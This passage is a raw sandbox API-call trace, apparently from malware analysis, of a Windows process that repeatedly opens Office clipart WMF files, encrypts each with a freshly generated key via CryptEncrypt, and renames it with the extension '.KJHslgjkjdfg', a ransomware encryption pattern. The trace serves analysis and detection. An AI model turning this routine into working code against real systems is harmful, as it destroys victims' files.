lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.867] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.867] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.867] GetProcessHeap () returned 0x990000 [0205.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.867] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.867] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.867] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.868] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.868] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.868] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.868] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.868] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.868] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.868] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcec, lpOverlapped=0x0) returned 1 [0205.868] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0) returned 1 [0205.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.868] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcf0, lpOverlapped=0x0) returned 1 [0205.868] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.868] SetEndOfFile (hFile=0x130) returned 1 [0205.870] GetProcessHeap () returned 0x990000 [0205.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.870] GetProcessHeap () returned 0x990000 [0205.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.kjhslgjkjdfg")) returned 1 [0205.871] CloseHandle (hObject=0x130) returned 1 [0205.871] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0205.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.872] GetProcessHeap () returned 0x990000 [0205.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.873] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.875] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.875] GetProcessHeap () returned 0x990000 [0205.875] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.875] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.875] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.875] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.875] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.875] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.875] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.875] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.875] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.875] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbd8, lpOverlapped=0x0) returned 1 [0205.876] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0) returned 1 [0205.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.876] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbe0, lpOverlapped=0x0) returned 1 [0205.876] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.876] SetEndOfFile (hFile=0x130) returned 1 [0205.879] GetProcessHeap () returned 0x990000 [0205.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.879] GetProcessHeap () returned 0x990000 [0205.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.kjhslgjkjdfg")) returned 1 [0205.885] CloseHandle (hObject=0x130) returned 1 [0205.885] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0205.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.886] GetProcessHeap () returned 0x990000 [0205.886] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.886] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.886] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.890] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.890] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.890] GetProcessHeap () returned 0x990000 [0205.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.890] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.891] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.891] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.891] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.891] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.891] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.891] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.891] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x948, lpOverlapped=0x0) returned 1 [0205.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x950, dwBufLen=0x950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x950) returned 1 [0205.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.892] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x950, lpOverlapped=0x0) returned 1 [0205.892] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.892] SetEndOfFile (hFile=0x130) returned 1 [0205.894] GetProcessHeap () returned 0x990000 [0205.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.894] GetProcessHeap () returned 0x990000 [0205.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.kjhslgjkjdfg")) returned 1 [0205.896] CloseHandle (hObject=0x130) returned 1 [0205.896] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0205.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.897] GetProcessHeap () returned 0x990000 [0205.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.897] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.900] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.901] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.901] GetProcessHeap () returned 0x990000 [0205.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.901] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.901] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.901] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.901] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.901] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.901] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.901] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.901] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc84, lpOverlapped=0x0) returned 1 [0205.901] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc90, dwBufLen=0xc90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc90) returned 1 [0205.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.902] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc90, lpOverlapped=0x0) returned 1 [0205.902] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.902] SetEndOfFile (hFile=0x130) returned 1 [0205.904] GetProcessHeap () returned 0x990000 [0205.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.904] GetProcessHeap () returned 0x990000 [0205.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.kjhslgjkjdfg")) returned 1 [0205.906] CloseHandle (hObject=0x130) returned 1 [0205.906] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0205.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.907] GetProcessHeap () returned 0x990000 [0205.907] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.907] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.915] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.915] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.915] GetProcessHeap () returned 0x990000 [0205.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.915] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.915] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.915] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.915] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.915] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, 